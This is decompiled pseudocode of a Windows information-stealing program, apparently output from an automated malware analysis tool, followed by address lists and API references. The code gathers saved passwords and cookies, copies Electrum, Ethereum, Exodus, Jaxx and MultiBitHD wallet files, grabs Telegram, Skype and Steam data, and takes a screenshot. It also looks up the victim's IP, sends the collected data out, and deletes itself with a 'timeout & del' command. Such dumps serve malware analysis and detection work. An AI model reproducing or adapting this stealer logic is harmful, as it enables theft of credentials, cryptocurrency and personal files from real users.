				signed int _t885;
				int _t921;
				void* _t934;
				void* _t936;
				void* _t938;
				intOrPtr* _t945;
				intOrPtr* _t948;
				intOrPtr* _t949;
				intOrPtr* _t950;
				signed int _t963;
				signed int _t964;
				void* _t965;
				void* _t989;
				intOrPtr _t997;
				intOrPtr _t1015;
				intOrPtr* _t1088;
				void* _t1109;
				intOrPtr* _t1111;
				intOrPtr* _t1113;
				intOrPtr* _t1115;
				void* _t1125;
				void* _t1153;
				void* _t1155;
				void* _t1156;
				intOrPtr _t1160;
				intOrPtr _t1161;
				void* _t1164;
				void* _t1191;
				void* _t1197;
				void* _t1205;
				void* _t1207;

				_t1207 = __fp0;
				_t1157 = __esi;
				_t1151 = __edi;
				_t962 = __ebx;
				_t1160 = _t1161;
				_t965 = 0x50;
				do {
					_push(0);
					_push(0);
					_t965 = _t965 - 1;
					_t1162 = _t965;
				} while (_t965 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v8 = __eax;
				E00403980(_v8);
				_push(_t1160);
				_push(0x41985e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t1161;
				E004034E4( &_v76);
				_v86 = 0;
				_v85 = 0;
				E0040357C( &_v92, 0x41987c);
				E00405668();
				E00407DE0( &_v308, _t1162);
				_push( &_v308);
				E00406CE8( &_v312, __ebx, __esi); // executed
				_pop(_t444);
				E00403798(_t444, _v312);
				_t450 = CreateMutexA(0, 0, E00403990(_v308)); // executed
				_v112 = _t450;
				_t451 =  *0x41b12c; // 0x41c6a4
				if( *((intOrPtr*)( *_t451))() == 0xb7) {
					L71:
					_pop(_t997);
					 *[fs:eax] = _t997;
					_push(E00419868);
					E004034E4( &_v644);
					E00403BF4( &_v640, 2);
					E004034E4( &_v632);
					E00403BF4( &_v628, 5);
					E00403508( &_v608, 9);
					E00403BDC( &_v572);
					E00403508( &_v568, 2);
					E00403BDC( &_v560);
					E00403508( &_v556, 2);
					E00403BDC( &_v548);
					E00403508( &_v544, 2);
					E00403BDC( &_v536);
					E00403508( &_v532, 2);
					E00403BDC( &_v524);
					E00403508( &_v520, 2);
					E00403BDC( &_v512);
					E00403508( &_v508, 2);
					E00403BDC( &_v500);
					E00403508( &_v496, 2);
					E00403BDC( &_v488);
					E00403508( &_v484, 0xa);
					E00403BF4( &_v444, 2);
					E004034E4( &_v436);
					E00403BF4( &_v432, 3);
					E004034E4( &_v420);
					E00403BF4( &_v416, 2);
					E004034E4( &_v408);
					E00403BF4( &_v404, 8);
					E004034E4( &_v372);
					E00403BF4( &_v368, 4);
					E00403508( &_v352, 0xc);
					E004034E4( &_v68);
					_t1015 =  *0x405f50; // 0x405f54
					E00404280( &_v64, 5, _t1015);
					E00403508( &_v44, 8);
					E004034E4( &_v8);
					E00403508( &_v108, 5);
					return E00403508( &_v84, 3);
				}
				E0040357C( &_v16, 0x419888);
				E00416DD4( &_v16, __ebx, 0x80000, 0x419928, __edi, __esi);
				E004069A8(_v16, _t962,  &_v316, __edi, _t1157);
				E0040357C( &_v16, _v316);
				E00406CE8( &_v324, _t962, _t1157); // executed
				E00406834(_v324, _t962, 0x80000,  &_v320, _t1151, _t1157);
				E004037DC( &_v36, _v320, 0x419934);
				E00416DD4( &_v36, _t962, 0x80000, _v92, _t1151, _t1157);
				E00417D84(_v16, _t962, _v36, _t1151, _t1157,  &_v20); // executed
				E00416DD4( &_v20, _t962, 0x80000, _v92, _t1151, _t1157);
				_t1164 = E00403790(_v20) - 0x2710;
				if(_t1164 < 0) {
					goto L71;
				}
				E004038DC(_v20, 0x419940);
				if(_t1164 == 0) {
					goto L71;
				}
				E004074E8(0x419960, _t962, 0x419950, _v20, _t1157,  &_v328);
				E004069A8(_v328, _t962,  &_v40, _t1151, _t1157);
				E004074E8(0x41997c, _t962, 0x41996c, _v20, _t1157,  &_v332);
				E00406B08(_v332, _t962,  &_v44, _t1151, _t1157);
				E00407A18(0x419988,  &_v48, _v40, _t1164);
				_t977 = 0x419994;
				E004074E8(0x4199a4, _t962, 0x419994, _v20, _t1157,  &_v340);
				_t1035 =  &_v336;
				E004069A8(_v340, _t962,  &_v336, _t1151, _t1157);
				E00408180(_v336, _t1164);
				E00409668(_v44, _t962, _t1157, _t1164); // executed
				E0040E630();
				_t1153 = E00404648(_v48) - 1;
				if(_t1153 < 0) {
					L51:
					_t238 =  &_v8; // 0x2b
					_push( *_t238);
					_push(0x419988);
					E0041698C( &_v460, _t962, _t1035, _t1153, _t1157); // executed
					_push(_v460);
					E00403850();
					E0040E6D4(_v456, _t962, "System.txt", _t1153, _t1157);
					E00406CE8( &_v468, _t962, _t1157); // executed
					E00406834(_v468, _t962, _t977,  &_v464, _t1153, _t1157);
					_push(_v464);
					_push(0x419ec0);
					E00407B08( &_v476, _t962, _t1153, _t1157);
					E00406834(_v476, _t962, _t977,  &_v472, _t1153, _t1157);
					_push(_v472);
					_push(0x419ec0);
					E00406BD8( &_v488);
					E0040377C( &_v484, _v488);
					E00406834(_v484, _t962, _t977,  &_v480, _t1153, _t1157);
					_push(_v480);
					_push(0x419ec0);
					E004066E4( &_v500, _t1192);
					E0040377C( &_v496, _v500);
					E00406834(_v496, _t962, _t977,  &_v492, _t1153, _t1157);
					_push(_v492);
					_push(0x419ec0);
					E00406634( &_v512);
					E0040377C( &_v508, _v512);
					E00406834(_v508, _t962, _t977,  &_v504, _t1153, _t1157);
					_push(_v504);
					_push(0x419ec0);
					E004065F0( &_v524);
					E0040377C( &_v520, _v524);
					E00406834(_v520, _t962, _t977,  &_v516, _t1153, _t1157);
					_push(_v516);
					_push(0x419ec0);
					_t616 =  *0x41b2a8; // 0x41b0b8
					E0040709C( *_t616, _t962,  &_v536, _t1157, _t1192);
					E0040377C( &_v532, _v536);
					E00406834(_v532, _t962, _t977,  &_v528, _t1153, _t1157);
					_push(_v528);
					_push(0x419ec0);
					_t623 =  *0x41b2c4; // 0x41b0b0
					E0040709C( *_t623, _t962,  &_v548, _t1157, _t1192);
					E0040377C( &_v544, _v548);
					E00406834(_v544, _t962, _t977,  &_v540, _t1153, _t1157);
					_push(_v540);
					_push(0x419ec0);
					_t630 =  *0x41b1cc; // 0x41b0b4
					E0040709C( *_t630, _t962,  &_v560, _t1157, _t1192);
					E0040377C( &_v556, _v560);
					E00406834(_v556, _t962, _t977,  &_v552, _t1153, _t1157);
					_push(_v552);
					_push(0x419ec0);
					_t637 =  *0x41b3f8; // 0x41b0ac
					E0040709C( *_t637, _t962,  &_v572, _t1157, _t1192);
					E0040377C( &_v568, _v572);
					E00406834(_v568, _t962, _t977,  &_v564, _t1153, _t1157);
					_push(_v564);
					_push(0x419ec0);
					E00406834(_v8, _t962, _t977,  &_v576, _t1153, _t1157);
					_push(_v576);
					_push(0x419ec0);
					E00407DE0( &_v584, _t1192);
					E00406834(_v584, _t962, _t977,  &_v580, _t1153, _t1157);
					_push(_v580);
					E00403850();
					_push("<info");
					_t651 =  *0x41b350; // 0x41b0bc
					_push( *_t651);
					_push(0x419edc);
					_push(_v28);
					_push("</info");
					_t652 =  *0x41b350; // 0x41b0bc
					_push( *_t652);
					_push(0x419edc);
					_push(0x419988);
					_push("<pwds");
					_t653 =  *0x41b350; // 0x41b0bc
					_push( *_t653);
					_push(0x419edc);
					E004063C8( &_v588, _t962, _t1153, _t1157);
					_push(_v588);
					_push("</pwds");
					_t656 =  *0x41b350; // 0x41b0bc
					_push( *_t656);
					_push(0x419edc);
					_push(0x419988);
					_push("<coks");
					_t657 =  *0x41b350; // 0x41b0bc
					_push( *_t657);
					_push(0x419edc);
					E00406560( &_v592, _t962, _t977, _t1153, _t1157);
					_push(_v592);
					_push("</coks");
					_t660 =  *0x41b350; // 0x41b0bc
					_push( *_t660);
					_push(0x419edc);
					_push(0x419988);
					_push("<file");
					_t661 =  *0x41b350; // 0x41b0bc
					_push( *_t661);
					_push(0x419edc);
					E0040E8D0( &_v596, _t962, _t1192);
					_push(_v596);
					_push("</file");
					_t664 =  *0x41b350; // 0x41b0bc
					_push( *_t664);
					_push(0x419edc);
					_push(0x419988);
					E00403850();
					_t1193 = _v85 - 1;
					if(_v85 == 1) {
						_push(_v24);
						_push("<ip");
						_t751 =  *0x41b350; // 0x41b0bc
						_push( *_t751);
						_push(0x419edc);
						_push(_v80);
						_push(0x419e90);
						_push(_v84);
						_push("</ip");
						_t752 =  *0x41b350; // 0x41b0bc
						_push( *_t752);
						_push(0x419edc);
						_push(0x419988);
						E00403850();
					}
					E00416DD4( &_v24, _t962, 0x80000, _v92, _t1153, _t1157);
					_t979 = 0;
					E00417D84(_v16, _t962, _v24, _t1153, _t1157,  &_v600); // executed
					_t672 =  *0x41b3a0; // 0x41c6a0
					 *((intOrPtr*)( *_t672))(_v112);
					E00405114(0x419f74, _t962, _t1153, _t1157, _t1193);
					_t678 = E00403790(_v76);
					_t1194 = _t678 - 3;
					if(_t678 <= 3) {
						L65:
						E004099C0(_t962, _t1157); // executed
						E00407DE0( &_v608, _t1205);
						E004038DC(_v608, 0x419fa4);
						if(_t1205 != 0) {
							L68:
							E004038DC(_v8, 0x419fb0);
							if(__eflags == 0) {
								__eflags = _v86 - 1;
								if(_v86 == 1) {
									E004028E0( &_v304, 0x3c);
									_v304 = 0x3c;
									_v300 = 0x1c0;
									_v296 = 0;
									_v292 = 0;
									E004062FC(L"%comspec%",  &_v612, __eflags);
									_v288 = E00403D98(_v612);
									E004062FC(L"/c %WINDIR%\\system32\\timeout.exe 3 & del \"",  &_v620, __eflags);
									E00402754(0,  &_v632);
									E00403D88( &_v628, _v632);
									E004077C8(_v628, _t962, 0,  &_v624, _t1157, __eflags);
									E00403E78();
									_v284 = E00403D98(_v616);
									E00402754(0,  &_v644);
									E00403D88( &_v640, _v644);
									E00407854(_v640, _t962, 0,  &_v636, _t1157, __eflags);
									_v280 = E00403D98(_v636);
									__eflags = 0;
									_v276 = 0;
									_t715 =  *0x41b150; // 0x41c764
									 *((intOrPtr*)( *_t715))( &_v304, E0041A02C, _v624, _v620);
									ExitProcess(0);
								}
							}
							goto L71;
						}
						E004038DC(_v8, 0x419fb0);
						if(_t1205 != 0) {
							goto L68;
						}
						E00407E90(_t962, _t979, _t1153, _t1157, _t1205);
						goto L71;
					} else {
						_t979 =  &_v56;
						E00407A18(0x419988,  &_v56, _v76, _t1194);
						_t1153 = E00404648(_v56) - 1;
						if(_t1153 < 0) {
							goto L65;
						}
						_t1155 = _t1153 + 1;
						_t963 = 0;
						do {
							_push(0);
							E00404804();
							_t1161 = _t1161 + 4;
							_t979 =  &_v60;
							E00407A18(0x419db4,  &_v60,  *((intOrPtr*)(_v56 + _t963 * 4)), 0);
							_t1197 = E00404648(_v60) - 4;
							if(_t1197 != 0) {
								goto L64;
							}
							E004038DC( *_v60, 0x419f80);
							if(_t1197 != 0) {
								goto L64;
							}
							_t979 =  &_v64;
							E00407A18(0x419f8c,  &_v64,  *((intOrPtr*)(_v60 + 0xc)), _t1197);
							_v87 = 0;
							_t1157 = E00404648(_v64) - 1;
							if(_t1157 < 0) {
								L62:
								_t1203 = _v87 - 1;
								if(_v87 == 1) {
									E004038DC( *((intOrPtr*)(_v60 + 8)), 0x419f98);
									E0041841C( *((intOrPtr*)(_v60 + 4)), _t963, 0x419f00 | _t1203 == 0x00000000, _t1155, _t1157);
								}
								goto L64;
							}
							_t1157 = _t1157 + 1;
							_v72 = 0;
							while(1) {
								E0040633C( *((intOrPtr*)(_v64 + _v72 * 4)), _t963,  &_v604, _t1155, _t1157);
								_t1088 =  *0x41b154; // 0x41c66c
								_v87 = E00403AD4(_v604,  *_t1088) != 0;
								if(_v87 == 1) {
									goto L62;
								}
								_v72 = _v72 + 1;
								_t1157 = _t1157 - 1;
								if(_t1157 != 0) {
									continue;
								}
								goto L62;
							}
							goto L62;
							L64:
							_t963 = _t963 + 1;
							_t1155 = _t1155 - 1;
							_t1205 = _t1155;
						} while (_t1205 != 0);
						goto L65;
					}
				} else {
					_t1156 = _t1153 + 1;
					_t964 = 0;
					do {
						if(E00403790( *((intOrPtr*)(_v48 + _t964 * 4))) < 5) {
							goto L50;
						}
						if(_t964 == 0) {
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 9)) == 0x2b) {
								E00413BE8();
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 3)) == 0x2b) {
								E00414DE8(L"Coins", _t964, _t1156, _t1157);
								_t934 = E00413F58(L"%appdata%\\Electrum\\wallets\\", _t964, L"Coins\\Electrum", 0x4199fc, _t1156, _t1157, 0, 0, 1, 0x7d0, 0);
								_t1111 =  *0x41b2c4; // 0x41b0b0
								 *_t1111 =  *_t1111 + _t934;
								_t936 = E00413F58(L"%appdata%\\Electrum-LTC\\wallets\\", _t964, L"Coins\\Electrum-LTC", 0x4199fc, _t1156, _t1157, 0, 0, 1, 0x7d0, 0);
								_t1113 =  *0x41b2c4; // 0x41b0b0
								 *_t1113 =  *_t1113 + _t936;
								_t938 = E00413F58(L"%APPDATA%\\Ethereum\\keystore\\", _t964, L"Coins\\Ethereum", L"UTC*", _t1156, _t1157, 0, 0, 1, 0x1388, 0);
								_t1115 =  *0x41b2c4; // 0x41b0b0
								 *_t1115 =  *_t1115 + _t938;
								if(E00413F58(L"%APPDATA%\\Exodus\\", _t964, L"Coins\\Exodus", L"*.json,*.seco", _t1156, _t1157, 0, 0, 1, 0x1388, 0) > 0) {
									_t950 =  *0x41b2c4; // 0x41b0b0
									 *_t950 =  *_t950 + 1;
								}
								if(E00413F58(L"%APPDATA%\\Jaxx\\Local Storage\\", _t964, L"Coins\\Jaxx\\Local Storage\\", 0x4199fc, _t1156, _t1157, 0, 0, 1, 0x1388, 0) > 0) {
									_t949 =  *0x41b2c4; // 0x41b0b0
									 *_t949 =  *_t949 + 1;
								}
								_t977 = L"Coins\\MultiBitHD";
								_t1035 = L"mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml";
								if(E00413F58(L"%APPDATA%\\MultiBitHD\\", _t964, L"Coins\\MultiBitHD", L"mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml", _t1156, _t1157, 0, 0, 1, 0x1388, 0) > 0) {
									_t948 =  *0x41b2c4; // 0x41b0b0
									 *_t948 =  *_t948 + 1;
								}
								_t945 =  *0x41b2c4; // 0x41b0b0
								_t1179 =  *_t945;
								if( *_t945 > 0) {
									E00405114(0x419cd8, _t964, _t1156, _t1157, _t1179);
								}
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 4)) == 0x2b) {
								E00414808(L"Skype", _t964, _t1156, _t1157);
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 5)) == 0x2b) {
								_t977 = L"Telegram";
								_t1035 = L"D877F783D5*,map*";
								E00413F58(L"%appdata%\\Telegram Desktop\\tdata\\", _t964, L"Telegram", L"D877F783D5*,map*", _t1156, _t1157, 0, 0, 1, 0x3e8, 0);
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 6)) == 0x2b) {
								E00414A90(L"Steam", _t964, _t1156, _t1157);
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 7)) == 0x2b) {
								_push(0);
								_push(0x32);
								_push(L"image/jpeg");
								_push( &_v68);
								_push(GetSystemMetrics(1));
								_t921 = GetSystemMetrics(0);
								_t977 = 0;
								_pop(_t1109);
								E00416FB0(_t921, _t964, 0, _t1109, _t1156, _t1157);
								_t1035 = "scr.jpg";
								E0040E6D4(_v68, _t964, "scr.jpg", _t1156, _t1157);
							}
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)) + 8)) == 0x2b) {
								_v86 = 1;
							}
						}
						_t757 = _v48;
						_t1186 =  *((char*)( *((intOrPtr*)(_t757 + _t964 * 4)))) - 0x46;
						if( *((char*)( *((intOrPtr*)(_t757 + _t964 * 4)))) != 0x46) {
							L44:
							if( *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)))) == 0x4c) {
								_push(_v76);
								_push( *((intOrPtr*)(_v48 + _t964 * 4)));
								_push(0x419988);
								_t1035 = 3;
								E00403850();
							}
							_t1191 =  *((char*)( *((intOrPtr*)(_v48 + _t964 * 4)))) - 0x49;
							if(_t1191 == 0) {
								_t977 =  &_v52;
								E00407A18(0x419db4,  &_v52,  *((intOrPtr*)(_v48 + _t964 * 4)), _t1191);
								E004038DC( *((intOrPtr*)(_v52 + 4)), 0x419e20);
								if(_t1191 != 0) {
									_t1035 = "ip.txt";
									E0040E6D4( *((intOrPtr*)(_v52 + 4)), _t964, "ip.txt", _t1156, _t1157);
								} else {
									_v85 = 1;
									E00417D84("http://ip-api.com/json", _t964, 0, _t1156, _t1157,  &_v32);
									E004074E8("\"query\":\"", _t964, 0x419e58, _v32, _t1157,  &_v80);
									_t977 = 0x419e58;
									E004074E8("\"countryCode\":\"", _t964, 0x419e58, _v32, _t1157,  &_v84);
									_push(_v80);
									_push(0x419e90);
									_push(_v84);
									E00403850();
									_t1035 = "ip.txt";
									E0040E6D4(_v452, _t964, "ip.txt", _t1156, _t1157);
								}
							}
						} else {
							E00407A18(0x419db4,  &_v52,  *((intOrPtr*)(_v48 + _t964 * 4)), _t1186);
							E0040357C( &_v96,  *((intOrPtr*)(_v52 + 8)));
							if(E00403AD4(0x419dc0, _v96) != 1) {
								E00403D88( &_v424,  *((intOrPtr*)(_v52 + 0x1c)));
								_push(_v424);
								E00403D88( &_v428,  *((intOrPtr*)(_v52 + 0x10)));
								_push(E00407108(_v428, _t964,  &_v52, __eflags));
								_push(E004038DC( *((intOrPtr*)(_v52 + 0x14)), 0x419e04) & 0xffffff00 | __eflags == 0x00000000);
								_t807 = E004038DC( *((intOrPtr*)(_v52 + 0x18)), 0x419e04);
								_t192 = __eflags == 0;
								__eflags = _t192;
								_push(_t807 & 0xffffff00 | _t192);
								_push(1);
								_push("Files\\");
								_push( *((intOrPtr*)(_v52 + 4)));
								_push(0x419de8);
								E00403850();
								E00403D88( &_v432, _v436);
								_push(_v432);
								E00403D88( &_v440,  *((intOrPtr*)(_v52 + 0xc)));
								_push(_v440);
								E004037DC( &_v448, 0x419de8,  *((intOrPtr*)(_v52 + 8)));
								E00403D88( &_v444, _v448);
								_pop(_t1035);
								_pop(_t977);
								E00413F58(_v444, _t964, _t977, _t1035, _t1156, _t1157);
								goto L44;
							}
							_t977 = 0x419dd0;
							_t1035 = _v96;
							E004074E8(0x419dc0, _t964, 0x419dd0, _v96, _t1157,  &_v108);
							_push( &_v241);
							_push(0x81);
							_t828 =  *0x41b240; // 0x41c6f8
							if( *((intOrPtr*)( *_t828))() == 0) {
								goto L71;
							}
							_t1157 =  &_v241;
							while( *_t1157 != 0) {
								_t831 =  *0x41b114; // 0x41c6fc
								E0040709C( *((intOrPtr*)( *_t831))(_t1157), _t964,  &_v356, _t1157, __eflags);
								E0040377C( &_v352, _v356);
								_t1035 = _v108;
								_t838 = E00403AD4(_v352, _v108);
								__eflags = _t838;
								if(_t838 != 0) {
									_push( &_v360);
									E00403CF4( &_v364, _t1157);
									_push(_v364);
									_push("%DSK_");
									_push(_v108);
									E00403850();
									E00403D88( &_v368, _v372);
									_push(_v368);
									E00403D88( &_v376, _v96);
									_pop(_t1125);
									_t989 = 0x419ddc;
									E0040717C(_v376, _t964, _t989, _t1125);
									E0040377C( &_v104, _v360);
									E004034E4( &_v100);
									_push( *((intOrPtr*)(_v52 + 4)));
									_push(0x419de8);
									_push(_v104);
									E00403850();
									E00403D88( &_v384, _v100);
									E0040717C(_v384, _t964, 0, 0x419df0,  &_v380);
									E00403DB4( &_v380, 0, 0x419df8, __eflags);
									E0040377C( &_v100, _v380);
									E00403D88( &_v392, _v100);
									E004078D8(_v392, _t964,  &_v388, __eflags);
									E0040377C( &_v100, _v388);
									E00403D88( &_v396,  *((intOrPtr*)(_v52 + 0x1c)));
									_push(_v396);
									E00403D88( &_v400,  *((intOrPtr*)(_v52 + 0x10)));
									_push(E00407108(_v400, _t964, 0, __eflags));
									_push(E004038DC( *((intOrPtr*)(_v52 + 0x14)), 0x419e04) & 0xffffff00 | __eflags == 0x00000000);
									_t885 = E004038DC( *((intOrPtr*)(_v52 + 0x18)), 0x419e04);
									_t162 = __eflags == 0;
									__eflags = _t162;
									_push(_t885 & 0xffffff00 | _t162);
									_push(1);
									E004037DC( &_v408, _v100, "Files\\");
									E00403D88( &_v404, _v408);
									_push(_v404);
									E00403D88( &_v412,  *((intOrPtr*)(_v52 + 0xc)));
									_push(_v412);
									E004037DC( &_v420, 0x419de8, _v104);
									E00403D88( &_v416, _v420);
									_pop(_t1035);
									_pop(_t977);
									E00413F58(_v416, _t964, _t977, _t1035, _t1156, _t1157);
								}
								_t1157 = _t1157 + 4;
								__eflags = _t1157;
							}
							goto L44;
						}
						L50:
						_t964 = _t964 + 1;
						_t1156 = _t1156 - 1;
						_t1192 = _t1156;
					} while (_t1156 != 0);
					goto L51;
				}
			}

0x004186c4
0x004186c4
0x004186c4
0x004186c4
0x004186c5
0x004186c7
0x004186cc
0x004186cc
0x004186ce
0x004186d0
0x004186d0
0x004186d0
0x004186d3
0x004186d4
0x004186d5
0x004186d6
0x004186dc
0x004186e3
0x004186e4
0x004186e9
0x004186ec
0x004186f2
0x004186f7
0x004186fb
0x00418707
0x0041870c
0x00418717
0x00418722
0x00418729
0x00418734
0x00418735
0x00418751
0x00418753
0x00418756
0x00418764
0x0041965c
0x0041965e
0x00419661
0x00419664
0x0041966f
0x0041967f
0x0041968a
0x0041969a
0x004196aa
0x004196b5
0x004196c5
0x004196d0
0x004196e0
0x004196eb
0x004196fb
0x00419706
0x00419716
0x00419721
0x00419731
0x0041973c
0x0041974c
0x00419757
0x00419767
0x00419772
0x00419782
0x00419792
0x0041979d
0x004197ad
0x004197b8
0x004197c8
0x004197d3
0x004197e3
0x004197ee
0x004197fe
0x0041980e
0x00419816
0x0041981e
0x00419829
0x00419836
0x0041983e
0x0041984b
0x0041985d
0x0041985d
0x00418772
0x00418784
0x00418792
0x004187a0
0x004187ab
0x004187bc
0x004187cf
0x004187df
0x004187f0
0x00418800
0x0041880d
0x00418812
0x00000000
0x00000000
0x00418820
0x00418825
0x00000000
0x00000000
0x0041883f
0x0041884d
0x00418866
0x00418874
0x00418884
0x00418890
0x0041889d
0x004188a8
0x004188ae
0x004188b9
0x004188c1
0x004188c8
0x004188d7
0x004188da
0x00418fb5
0x00418fb5
0x00418fb5
0x00418fb8
0x00418fc3
0x00418fc8
0x00418fd9
0x00418fe9
0x00418ff4
0x00419005
0x0041900a
0x00419010
0x0041901b
0x0041902c
0x00419031
0x00419037
0x00419042
0x00419053
0x00419064
0x00419069
0x0041906f
0x0041907a
0x0041908b
0x0041909c
0x004190a1
0x004190a7
0x004190b2
0x004190c3
0x004190d4
0x004190d9
0x004190df
0x004190ea
0x004190fb
0x0041910c
0x00419111
0x00419117
0x00419122
0x00419129
0x0041913a
0x0041914b
0x00419150
0x00419156
0x00419161
0x00419168
0x00419179
0x0041918a
0x0041918f
0x00419195
0x004191a0
0x004191a7
0x004191b8
0x004191c9
0x004191ce
0x004191d4
0x004191df
0x004191e6
0x004191f7
0x00419208
0x0041920d
0x00419213
0x00419221
0x00419226
0x0041922c
0x00419237
0x00419248
0x0041924d
0x0041925b
0x00419260
0x00419265
0x0041926a
0x0041926c
0x00419271
0x00419274
0x00419279
0x0041927e
0x00419280
0x00419285
0x0041928a
0x0041928f
0x00419294
0x00419296
0x004192a1
0x004192a6
0x004192ac
0x004192b1
0x004192b6
0x004192b8
0x004192bd
0x004192c2
0x004192c7
0x004192cc
0x004192ce
0x004192d9
0x004192de
0x004192e4
0x004192e9
0x004192ee
0x004192f0
0x004192f5
0x004192fa
0x004192ff
0x00419304
0x00419306
0x00419311
0x00419316
0x0041931c
0x00419321
0x00419326
0x00419328
0x0041932d
0x0041933a
0x0041933f
0x00419343
0x00419345
0x00419348
0x0041934d
0x00419352
0x00419354
0x00419359
0x0041935c
0x00419361
0x00419364
0x00419369
0x0041936e
0x00419370
0x00419375
0x00419382
0x00419382
0x00419392
0x0041939e
0x004193a6
0x004193af
0x004193b6
0x004193bd
0x004193c5
0x004193ca
0x004193cd
0x004194dd
0x004194dd
0x004194e8
0x004194f8
0x004194fd
0x00419518
0x00419520
0x00419525
0x0041952b
0x0041952f
0x00419542
0x00419547
0x00419551
0x0041955d
0x00419565
0x00419576
0x00419586
0x00419597
0x004195aa
0x004195bb
0x004195cc
0x004195e7
0x004195f7
0x00419605
0x00419616
0x00419627
0x00419637
0x0041963d
0x0041963f
0x0041964c
0x00419653
0x00419657
0x00419657
0x0041952f
0x00000000
0x00419525
0x00419507
0x0041950c
0x00000000
0x00000000
0x0041950e
0x00000000
0x004193d3
0x004193d3
0x004193de
0x004193ed
0x004193f0
0x00000000
0x00000000
0x004193f6
0x004193f7
0x004193f9
0x004193f9
0x00419409
0x0041940e
0x00419411
0x0041941f
0x0041942c
0x0041942f
0x00000000
0x00000000
0x0041943f
0x00419444
0x00000000
0x00000000
0x0041944a
0x00419458
0x0041945d
0x0041946b
0x0041946e
0x004194b1
0x004194b1
0x004194b5
0x004194c2
0x004194d0
0x004194d0
0x00000000
0x004194b5
0x00419470
0x00419471
0x00419478
0x00419487
0x00419492
0x004194a1
0x004194a9
0x00000000
0x00000000
0x004194ab
0x004194ae
0x004194af
0x00000000
0x00000000
0x00000000
0x004194af
0x00000000
0x004194d5
0x004194d5
0x004194d6
0x004194d6
0x004194d6
0x00000000
0x004193f9
0x004188e0
0x004188e0
0x004188e1
0x004188e3
0x004188f1
0x00000000
0x00000000
0x004188f9
0x00418964
0x00418966
0x00418966
0x00418975
0x00418980
0x004189a1
0x004189a6
0x004189ac
0x004189ca
0x004189cf
0x004189d5
0x004189f3
0x004189f8
0x004189fe
0x00418a23
0x00418a25
0x00418a2a
0x00418a2a
0x00418a4f
0x00418a51
0x00418a56
0x00418a56
0x00418a65
0x00418a6a
0x00418a7b
0x00418a7d
0x00418a82
0x00418a82
0x00418a84
0x00418a89
0x00418a8c
0x00418a93
0x00418a93
0x00418a8c
0x00418aa2
0x00418aa9
0x00418aa9
0x00418ab8
0x00418ac7
0x00418acc
0x00418ad6
0x00418ad6
0x00418ae5
0x00418aec
0x00418aec
0x00418afb
0x00418afd
0x00418aff
0x00418b01
0x00418b09
0x00418b11
0x00418b14
0x00418b19
0x00418b1b
0x00418b1c
0x00418b21
0x00418b29
0x00418b29
0x00418b38
0x00418b3a
0x00418b3a
0x00418b38
0x00418b3e
0x00418b44
0x00418b47
0x00418ed1
0x00418eda
0x00418edc
0x00418ee2
0x00418ee5
0x00418eed
0x00418ef2
0x00418ef2
0x00418efd
0x00418f00
0x00418f06
0x00418f14
0x00418f24
0x00418f29
0x00418fa3
0x00418fa8
0x00418f2b
0x00418f2b
0x00418f3f
0x00418f55
0x00418f5e
0x00418f6b
0x00418f70
0x00418f73
0x00418f78
0x00418f86
0x00418f91
0x00418f96
0x00418f96
0x00418f29
0x00418b4d
0x00418b5b
0x00418b69
0x00418b7c
0x00418dfa
0x00418e05
0x00418e12
0x00418e22
0x00418e36
0x00418e42
0x00418e47
0x00418e47
0x00418e4a
0x00418e4b
0x00418e4d
0x00418e55
0x00418e58
0x00418e68
0x00418e79
0x00418e84
0x00418e91
0x00418e9c
0x00418eae
0x00418ebf
0x00418eca
0x00418ecb
0x00418ecc
0x00000000
0x00418ecc
0x00418b86
0x00418b8b
0x00418b93
0x00418b9e
0x00418b9f
0x00418ba4
0x00418baf
0x00000000
0x00000000
0x00418bb5
0x00418de0
0x00418bc1
0x00418bd0
0x00418be1
0x00418bec
0x00418bef
0x00418bf4
0x00418bf6
0x00418c02
0x00418c0b
0x00418c16
0x00418c17
0x00418c1c
0x00418c2f
0x00418c40
0x00418c4b
0x00418c55
0x00418c60
0x00418c61
0x00418c62
0x00418c70
0x00418c78
0x00418c80
0x00418c83
0x00418c88
0x00418c93
0x00418ca8
0x00418cba
0x00418cca
0x00418cd8
0x00418ce6
0x00418cf7
0x00418d05
0x00418d16
0x00418d21
0x00418d2e
0x00418d3e
0x00418d52
0x00418d5e
0x00418d63
0x00418d63
0x00418d66
0x00418d67
0x00418d77
0x00418d88
0x00418d93
0x00418da0
0x00418dab
0x00418dba
0x00418dcb
0x00418dd6
0x00418dd7
0x00418dd8
0x00418dd8
0x00418ddd
0x00418ddd
0x00418ddd
0x00000000
0x00418de9
0x00418fad
0x00418fad
0x00418fae
0x00418fae
0x00418fae
0x00000000
0x004188e3

APIs

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00418751

Part of subcall function 00409668: CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?), ref: 004096BF
Part of subcall function 00409668: CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6), ref: 0040970D
Part of subcall function 00409668: SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?,00000000), ref: 00409741
Part of subcall function 00409668: LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?), ref: 00409762
Part of subcall function 00409668: GetProcAddress.KERNEL32(00000000,00000000), ref: 00409782
Part of subcall function 00409668: GetProcAddress.KERNEL32(00000000,00000000), ref: 0040979C

GetSystemMetrics.USER32 ref: 00418B0C
GetSystemMetrics.USER32 ref: 00418B14
ExitProcess.KERNEL32(00000000), ref: 00419657

Strings

</d>, xrefs: 00418890
System.txt, xrefs: 00418FE4
